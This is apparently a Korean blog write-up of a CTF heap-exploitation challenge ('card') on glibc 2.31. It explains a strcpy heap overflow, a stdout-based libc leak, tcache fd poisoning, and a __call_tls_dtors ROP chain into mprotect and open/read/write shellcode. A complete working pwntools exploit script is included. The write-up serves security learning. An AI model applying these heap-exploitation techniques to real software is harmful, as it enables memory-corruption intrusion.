Osori Development Studio

card write up 본문

Security/Write-Up

card write up

OSOR2 2020. 12. 16. 21:07

 

바이너리는 이곳에서 받을 수 있습니다. 

환경은 Ubuntu 20.04 glibc 2.31이다.

보호기법은

(당연히)

전부 걸려있다.

그렇게 기능이 많지 않은 바이너리인데

그리고 seccomp black list 또한 걸려있다. execve의 호출은 불가능하다.

1. Take a card 

단순하게 사이즈를 입력받고 bss영역에 있는 cardSizeTable에 사이즈를 저장하고 malloc으로 입력한 사이즈 만큼 할당을 받는다.

ReadInt는 8바이트만큼 문자열을 읽어서 atoi 로 변환해 반환하는 함수이다. (atoll이 아니다!)

2. Edit

취약점이 생기는 부분으로 edit 할 내용을 전역변수에 저장하고, 다시 그 전역변수의 내용을 strcpy로 복사한다.

그러나 전역변수 내용 전체를 memset 하는 것이 아닌, 현재 card의 사이즈만큼 memset하기 때문에 이전에 큰 사이즈를 edit했으면 남아있는 내용도 같이 strcpy될 수 있다.

인자가 다 깨져서 보이지만 read(0,&unk_4c60,size) 이다.

3. Drop

인덱스를 입력받고 free 한다. sizeTable과 Table에 있는 값도 초기화를 하기 때문에 double free는 쓸 수 없을 것으로 보인다.

5. Hidden Menu

왜 갑자기 4를 넘기고 5가 됬냐 하면 4는 exit이기 때문이다. 신기하게도 5를 입력하면 숨겨진 메뉴로 이동하는데, 딱히 취약점이 있는 함수는 아니다. edit에서는 strcpy이기 때문에 NULL문자를 중간에 삽입 할 수 없는데 이곳은 가능하다.

할당된 크기 만큼만 read한다. 또한 3번만 사용할 수 있는 기능이다.


Exploit Scenario

취약점들

  • 현재 취약점은 heap에서 strcpy를 통한 오버플로우가 일어난다는 것이다.
  • 이를 통해 next chunk의 size를 바꿀 수 있다.
  • 청크 내용을 보여주는 기능이 없기 때문에 stdout 변조를 통하여 출력 할 필요가 있어보인다.
  • main arena+96(unsorted top)과 stdout은 인접해있다. 확률 익스플로잇이 가능하다.
  • heap base leak은 안되기 때문에 ROP 페이로드는 libc 부분에 적어야 한다.

__call_tls_dtors 를 이용한 ROP

setcontext+61 가젯을 쓰기에는 어려울 것 같아서(mov rsp,[rdx+0xa0] 인데 rdx변조가 힘듬), ROP 할만한 많은 곳을 뒤져보았는데 이전에 exit함수를 이용한 exploit 했던 것이 기억났고 이를 뒤져보았다. 조건들을 잘 만족시켜주면 rbp 변조 후 leave ret을 실행 시킬 수 있을 것으로 보인다. (참고로 2.31에서 calloc 에서 rbp변조는 불가능하다!)

이 부분은 문제에 exit 함수 호출이 가능하기 때문에 그냥 실행이 가능하다.

__call_tls_dtors

조건은 rbp를 변조후 [rbp]=0, fs[0x30] 에는 leave_ret 가젯, [rbp+0x18]에는 아무 주소

[rbp+8]에도 아무 주소이다. 저곳들을 모두 fd 변조를 통해 사용할 수 있어야 한다. 

생각보다 유용한 가젯을 찾은 것 같다.

Stdout Leak

stdout 의 flag를 0xfbad1800 , 그리고 null을 25개 이어주면 leak이 된다. 본 문제에서는 stdin이 leak이 되었다.

그리고 다시 stdout이 복구된다. 플래그가 바뀌었기 때문에 개행관련해서 변경점이 조금 생겼다.

시나리오

  • unsorted bin의 size 변조를 하여 tcache bin의 fd에 main arena+96을 적을 것이다. 이를 위해서는 변조한 사이즈를 기준으로 p->next의 prev_inuse를 제거하고 prev_size를 세팅해줄 필요가 있다.

  • 그리고 strcpy 취약점을 이용해서 main_arena가 적힌 tcache의 fd에 0x86a0 을 덮는다. 이로 인해 stdout이 fd에 적힐 가능성이 있다. (hidden menu+1)

  • tcache alloc을 통해서 stdout을 할당받고 flag와 그 뒤 ptr들을 변조해서 leak을 한다. (hidden menu+2)

  • 이제 leak이 되었으니, fd변조에서 적을 공간을 알려 줄 수 있다. 적을 공간은 여러곳인데 fs[-88], fs[0x30],그리고 free hook 부분이다. free hook 부분에는 mprotect 를 통한 ROP payload를 구성한다. (hidden menu+3 ) 마지막으로 fs[-88] 에는 payload를 작성한 free hook 부분을 준다. fs[0x28]이 libc+0x1f3568에 있는 것을 알 수 있었다.

  • 아래 표대로 payload를 구성하면 [rbp]=0, [rbp+0x18],[rbp0x8]에는 아무주소라는 조건을 만족 시킬 수 있다.

 주소 페이로드
[rbp+0x0] 0
[rbp+0x8] pop rdi ret
[rbp+0x10] &__free_hook
[rbp+0x18] pop rsi ret
[rbp+0x20] 0x1000... 이후 mprotet

결과

대부분 시나리오대로 진행이 되었으나 중간중간에 문제가 있었다. 첫번째는 unsorted bin 덮어쓴 것을 다시 복구해 주는 것과, 두번째는 tcache아레나에서 해당 tcache bin의 개수가 0이면 tcache를 받지 않기 때문에 bin을 2개 만들어 주고 fd를 변조하는 것이였다.

익스플로잇 코드는 다음과 같다.

from pwn import*



count=3

p=process('./card',aslr=1,env={'LD_PRELOAD':'./libc.so.6'})
#p=process('./card',aslr=0)

def take(size) :
    p.recvuntil('Choice:')
    p.sendline('1')
    p.recvuntil('Size: ')
    p.sendline(str(size))

def drop(index) : 
    p.recvuntil('Choice:')
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(index))

def edit(index, content) :
    p.recvuntil('Choice:')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    p.recvuntil('Message: ')
    p.recv(1) #line feed
    p.send(content)

def edit_nl(index, content) :
    p.recvuntil('Choice:')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    p.recvuntil('Message: ')
    p.send(content)

def hidden(index,content) :
    global count
    p.recvuntil('Choice:')
    p.sendline('5')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    p.recvuntil('Message: ')
    p.recv(1) #line feed
    p.send(content)
    count-=1
    print('hidden menu count : '+str(count))

def hidden_nl(index, content) :
    global count
    p.recvuntil('Choice:')
    p.sendline('5')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    p.recvuntil('Message: ')
    p.send(content)
    count-=1
    print('hidden menu count : '+str(count))

take(0x18) #0
for i in range(8) : #1~8
    take(0x88)
take(0x300) #9

for i in range(3) :
    take(0x28) #10~12
for i in range(3) :
    take(0x38) #13~15
for i in range(3) :
    take(0x98) #16~18

take(0x300) #16

edit(9,'A'*0x88+'\x90')

#print('prev_inuse remove')

edit(3,'A'*0x88) #remove prev_inuse 
for i in range(7,2,-1) :
    edit(3,'A'*0x80+'a'*i) #setting prev_size to 0x0000000...

#print('setting prev_size')

edit(3,'A'*0x80+'\xb0\x01') #setting prev_size 0x1b0 
for i in range(2,9) : 
    drop(i)
drop(1) 
edit(9,'A'*0x18+'\xb1\x01') #unsorted bin size 0x91 -> 0x1b1
edit(0,'A'*0x18)

#print('unsorted bin size has been edited')

take(0x110) #1 
edit(9,'A'*0x18+'\xb1\x01') #unsorted bin size 0x120 -> 0x1b1
edit(0,'A'*0x18)

drop(1)

take(0x1a0) #1
hidden(1,'A'*0x118+p64(0x91)+'\xa0\xa6') #fd -> stdout


for i in range(7) :
    take(0x88) 
pl=p64(0xfbad1800)
pl+='\x00'*25
hidden(8,pl) #stdout flag and ptr setting
p.recv(8)
libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x1eb980

fs=libc_base+0x1f35e8-0x28
print('libc base : '+hex(libc_base))
print('fs base : '+hex(fs))
leave_ret=0x5aa48+libc_base
pop_rdi_ret=0x26b72+libc_base
pop_rsi_ret=0x27529+libc_base
pop_rdx_rbx_ret=0x11c1e1+libc_base
mprotect=0x11b970+libc_base
free_hook=0x1eeb28+libc_base
main_arena96=libc_base+0x1ebbe0

#repair unsorted bin...

edit_nl(1,'B'*0x128+p64(main_arena96))
for i in range(7,2,-1):
    edit_nl(1,'B'*0x120+'A'*i)
edit_nl(1,'B'*0x120+p64(main_arena96))

for i in range(7,0,-1):
    edit_nl(1,'C'*0x118+'\x91'*i)

#fd setting...

drop(12)
drop(11)
drop(15)
drop(14)
drop(18)
drop(17)

edit_nl(9,'A'*0x30+p64(fs-88)) #fd -> fs[-88]
edit_nl(10,'A'*0x28) 
edit_nl(9,'A'*0x40+p64(fs+0x30)) #fd -> fs[0x30]
edit_nl(13,'A'*0x38)
edit_nl(9,'A'*0xa0+p64(free_hook)) #fd -> &__free_hook
edit_nl(16,'A'*0x98)

take(0x28)
take(0x38)
take(0x98)

context(arch='x86_64',os='linux')


pl=p64(0)
pl+=p64(pop_rdi_ret)+p64(free_hook-0xb28)
pl+=p64(pop_rsi_ret)+p64(0x1000)
pl+=p64(pop_rdx_rbx_ret)+p64(7)+p64(0)
pl+=p64(mprotect)
pl+=p64(free_hook+0x50)
pl+=asm(shellcraft.pushstr('flag'))
pl+=asm(shellcraft.open('rsp',0,0))
pl+=asm(shellcraft.read('rax','rsp',100))
pl+=asm(shellcraft.write(1,'rsp',100))
print(hex(len(pl)))
take(0x80)
take(0x98)
hidden_nl(17,pl) #write payload on __free_hook
take(48)
edit_nl(18,'A'*7) # make fs[0x30] to qword 0 
edit_nl(18,'A'*6)
edit_nl(18,'A'*5)
edit_nl(18,p64(leave_ret)) #fs 0x30 
take(32)
edit_nl(20,p64(free_hook)) #fs[-88] = &__free_hook

p.interactive()

 

'Security > Write-Up' 카테고리의 다른 글

afl fuzzer를 이용한 dact 익스플로잇 write up  (2) 2021.03.15
Comments